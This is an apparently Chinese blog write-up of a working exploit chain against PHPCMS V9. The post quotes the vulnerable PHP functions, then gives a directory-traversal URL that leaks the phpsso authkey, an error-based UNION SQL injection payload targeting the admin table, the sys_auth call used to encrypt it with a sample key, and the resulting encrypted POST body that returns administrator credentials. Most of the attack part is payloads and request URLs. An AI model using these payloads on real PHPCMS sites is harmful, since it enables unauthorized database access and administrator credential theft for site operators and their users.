phpsso.php 注入漏洞,PHPCMS V9 /phpsso_server/phpcms/modules/phpsso/index.php SQL注入漏洞

  • /api/get_menu.php
function ajax_getlist() {

$cachefile = $_GET['cachefile'];

$cachefile = str_replace(array('/', '//'), '', $cachefile);

//$cachefile = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $cachefile);

$path = $_GET['path'];

$path = str_replace(array('/', '//'), '', $path);

//$path = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $path);

$title = $_GET['title'];

$key = $_GET['key'];

$infos = getcache($cachefile,$path);

其中getcache中参数可控,可以包含cache文件夹中配置文件得到authkey。利用authkey可以进行SQL注入。

  • /phpsso_server/phpcms/modules/phpsso/index.php
public function getuserinfo($is_return = 0) {

$this->uid = isset($this->data['uid']) ? $this->data['uid'] : '';

$this->email = isset($this->data['email']) ? $this->data['email'] : '';

if($this->uid > 0) {

$r = $this->db->get_one(array('uid'=>$this->uid));

} elseif(!empty($this->username)) {

$r = $this->db->get_one(array('username'=>$this->username));

} elseif(!empty($this->email)) {

$r = $this->db->get_one(array('email'=>$this->email));

} else {

return false;

}

将uid直接带入查询,造成SQL注入漏洞。

访问URL地址,获取authkey:

http://10.211.55.12/phpcms/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin&key=authkey

018DE5AC-D4BB-4E46-8F6B-4B8EBB988FE8.png

利用PHPCMS的内置加密函数sys_auth加密如下内容:

uid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13 and (select 1 from  (select count(*),concat((select concat(username,'|',password,0x3a3a,encrypt)from v9_sso_admin limit 1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

调用方法为:

echo sys_auth("uid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13 and (select 1 from  (select count(*),concat((select concat(username,'|',password,0x3a3a,encrypt)from v9_sso_admin limit 1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'", "ENCODE", "94n16bQt8F0900oowgpQENmCvCd69szh");

得到结果为: 

12E407CE-C671-4B98-A48E-1577290D84A6.png

利用Hackbar进行注入,POST内容:

data=ada8YbYCC4vW3ZUiLq9FHK4AU0W2Nrho-QpN_rBOBhf8MRIqj_GOZS5-EUBX8_oL6QlfTkvv84VuO_ZFa_JlrxiYgxai6qjiikU78vn90aH-jnD4Emx4LYPx2pCiuNB3HKUvKiykjtnZSwlBAlBdpGOTvYnoZOgiXFBcfPCf-ApPYyVlQCSoN0BS04yKgUdU8ijkulguiKwDR1jYzaFA_GLGtV-R1AkEKHNz9ImpH_QwIzAwd4SJdhrPgVej69CS_rLMfYNH7F1f174jzPjunyKfJCEgszsmoHys19fIVMyiABzRU6t_tzTjmX9xGFahK7nnFRx8cdC13aT0nMO9txLCL5f0uTS86kn2CXRa9rN_-8JLTl0hv9dNsNvVGSHk4ndz

到:

http://10.211.55.12/phpcms/phpsso_server/?m=phpsso&c=index&a=getuserinfo&appid=1

得到管理员的帐号密码: 

4E4D4418-1F91-496D-BEDD-28435BA0B581.png

loading-bars.svg

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值